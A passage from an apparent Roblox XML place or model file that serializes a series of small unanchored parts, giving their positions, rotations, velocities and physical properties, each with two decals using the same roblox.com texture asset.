				<CoordinateFrame name="CFrame">
					<X>-102.105377</X>
					<Y>0.589897871</Y>
					<Z>-90.5349274</Z>
					<R00>-0.953581333</R00>
					<R01>7.42424527e-006</R01>
					<R02>-0.30113557</R02>
					<R10>-4.15891009e-006</R10>
					<R11>-1</R11>
					<R12>-1.14844834e-005</R12>
					<R20>-0.30113557</R20>
					<R21>-9.69899247e-006</R21>
					<R22>0.953581333</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00294428924</X>
					<Y>-1.14339819e-007</Y>
					<Z>0.0332069322</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00184702012</X>
					<Y>0.00491452543</Y>
					<Z>0.00117876532</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1362">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1363">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1364">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-100.28553</X>
					<Y>0.590437353</Y>
					<Z>-78.0443878</Z>
					<R00>-0.0654452071</R00>
					<R01>-3.8111044e-005</R01>
					<R02>0.99785614</R02>
					<R10>8.51236018e-006</R10>
					<R11>-0.999999881</R11>
					<R12>-3.76346325e-005</R12>
					<R20>0.99785614</R20>
					<R21>6.03110311e-006</R21>
					<R22>0.0654452965</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0224602427</X>
					<Y>-0.000408268359</Y>
					<Z>0.0189594403</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000267561234</X>
					<Y>-0.00584948389</Y>
					<Z>-0.000143837387</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1365">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1366">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1367">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-96.1235809</X>
					<Y>0.590842605</Y>
					<Z>-82.8589859</Z>
					<R00>-0.652740479</R00>
					<R01>-0.000766781566</R01>
					<R02>0.757581115</R02>
					<R10>6.9495909e-006</R10>
					<R11>-0.999999464</R11>
					<R12>-0.00100615609</R12>
					<R20>0.757581532</R20>
					<R21>-0.000651494018</R21>
					<R22>0.65274024</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0267667826</X>
					<Y>-0.000211454404</Y>
					<Z>-0.0137364147</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.000223616022</X>
					<Y>0.00291494164</Y>
					<Z>-0.00116394833</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1368">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1369">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1370">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-92.4133453</X>
					<Y>0.591214418</Y>
					<Z>-84.9798355</Z>
					<R00>-0.703427672</R00>
					<R01>-0.000457728747</R01>
					<R02>-0.710766673</R02>
					<R10>0.000753538334</R10>
					<R11>0.999998748</R11>
					<R12>-0.00138974981</R12>
					<R20>0.710766435</R20>
					<R21>-0.00151317846</R21>
					<R22>-0.703426421</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0187047515</X>
					<Y>-0.00173275929</Y>
					<Z>-0.027296979</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000895646925</X>
					<Y>-0.00069809024</Y>
					<Z>0.000652729359</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1371">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1372">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1373">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-87.14431</X>
					<Y>0.589888871</Y>
					<Z>-76.645813</Z>
					<R00>-0.949937046</R00>
					<R01>-6.93600741e-005</R01>
					<R02>0.31244117</R02>
					<R10>-7.95871019e-005</R10>
					<R11>1</R11>
					<R12>-1.9980298e-005</R12>
					<R20>-0.31244117</R20>
					<R21>-4.38463139e-005</R21>
					<R22>-0.949937046</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.000180484218</X>
					<Y>0.00182089501</Y>
					<Z>0.030059116</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>7.15995047e-005</X>
					<Y>-0.00332524534</Y>
					<Z>-0.00123199075</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1374">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1375">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1376">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-91.9300461</X>
					<Y>0.591223836</Y>
					<Z>-81.9512787</Z>
					<R00>-0.64766115</R00>
					<R01>2.50351222e-005</R01>
					<R02>-0.761928439</R02>
					<R10>-2.3454606e-005</R10>
					<R11>1</R11>
					<R12>5.2794665e-005</R12>
					<R20>0.761928439</R20>
					<R21>5.20637877e-005</R21>
					<R22>-0.64766115</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0291384961</X>
					<Y>0.00107309606</Y>
					<Z>-0.0090128677</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00215256889</X>
					<Y>0.000231678103</Y>
					<Z>-0.00200846512</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1377">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1378">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1379">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-87.7219467</X>
					<Y>0.591222823</Y>
					<Z>-74.8691254</Z>
					<R00>-0.00969216879</R00>
					<R01>-0.000186851641</R01>
					<R02>0.999952972</R02>
					<R10>1.73008902e-005</R10>
					<R11>-0.999999881</R11>
					<R12>-0.00018669272</R12>
					<R20>0.999952972</R20>
					<R21>1.54906065e-005</R21>
					<R22>0.00969228707</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0180745199</X>
					<Y>-0.000938852725</Y>
					<Z>0.0175629202</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000197830464</X>
					<Y>-0.0114850951</Y>
					<Z>0.00133400189</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1380">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1381">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1382">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-86.3641434</X>
					<Y>0.591107965</Y>
					<Z>-70.4837646</Z>
					<R00>-0.803548872</R00>
					<R01>-5.53745895e-006</R01>
					<R02>-0.595238686</R02>
					<R10>-4.16208741e-006</R10>
					<R11>1</R11>
					<R12>-3.68426686e-006</R12>
					<R20>0.595238686</R20>
					<R21>-4.83052929e-007</R21>
					<R22>-0.803548872</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0135257691</X>
					<Y>0.000286411436</Y>
					<Z>0.019171549</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00119403854</X>
					<Y>-0.0121900514</Y>
					<Z>-0.000646147353</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1383">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1384">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1385">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-82.9417725</X>
					<Y>0.590869427</Y>
					<Z>-67.3287354</Z>
					<R00>-0.37216574</R00>
					<R01>5.24676616e-005</R01>
					<R02>0.92816627</R02>
					<R10>-1.82310778e-005</R10>
					<R11>-0.999999881</R11>
					<R12>4.9218208e-005</R12>
					<R20>0.92816627</R20>
					<R21>1.39586086e-006</R21>
					<R22>0.372165769</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0295837726</X>
					<Y>0.000531197235</Y>
					<Z>0.00862607546</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00202028407</X>
					<Y>-0.00032705089</Y>
					<Z>0.000824645278</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1386">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1387">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1388">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-83.4901352</X>
					<Y>1.12679875</Y>
					<Z>-73.038147</Z>
					<R00>-0.304400593</R00>
					<R01>-0.944693029</R01>
					<R02>0.122046247</R02>
					<R10>0.219432175</R10>
					<R11>-0.194225609</R11>
					<R12>-0.956099272</R12>
					<R20>0.926924884</R20>
					<R21>-0.264256358</R21>
					<R22>0.266418487</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0490855984</X>
					<Y>-0.00890830904</Y>
					<Z>0.00235454505</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.012831741</X>
					<Y>-0.0223392956</Y>
					<Z>-0.00978267193</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1389">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1390">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1391">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-83.6927261</X>
					<Y>0.589492977</Y>
					<Z>-71.7699203</Z>
					<R00>-0.910987079</R00>
					<R01>-0.000964876032</R01>
					<R02>-0.412433892</R02>
					<R10>0.000276870938</R10>
					<R11>0.999995589</R11>
					<R12>-0.00295101269</R12>
					<R20>0.412434906</R20>
					<R21>-0.00280252541</R21>
					<R22>-0.910982788</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
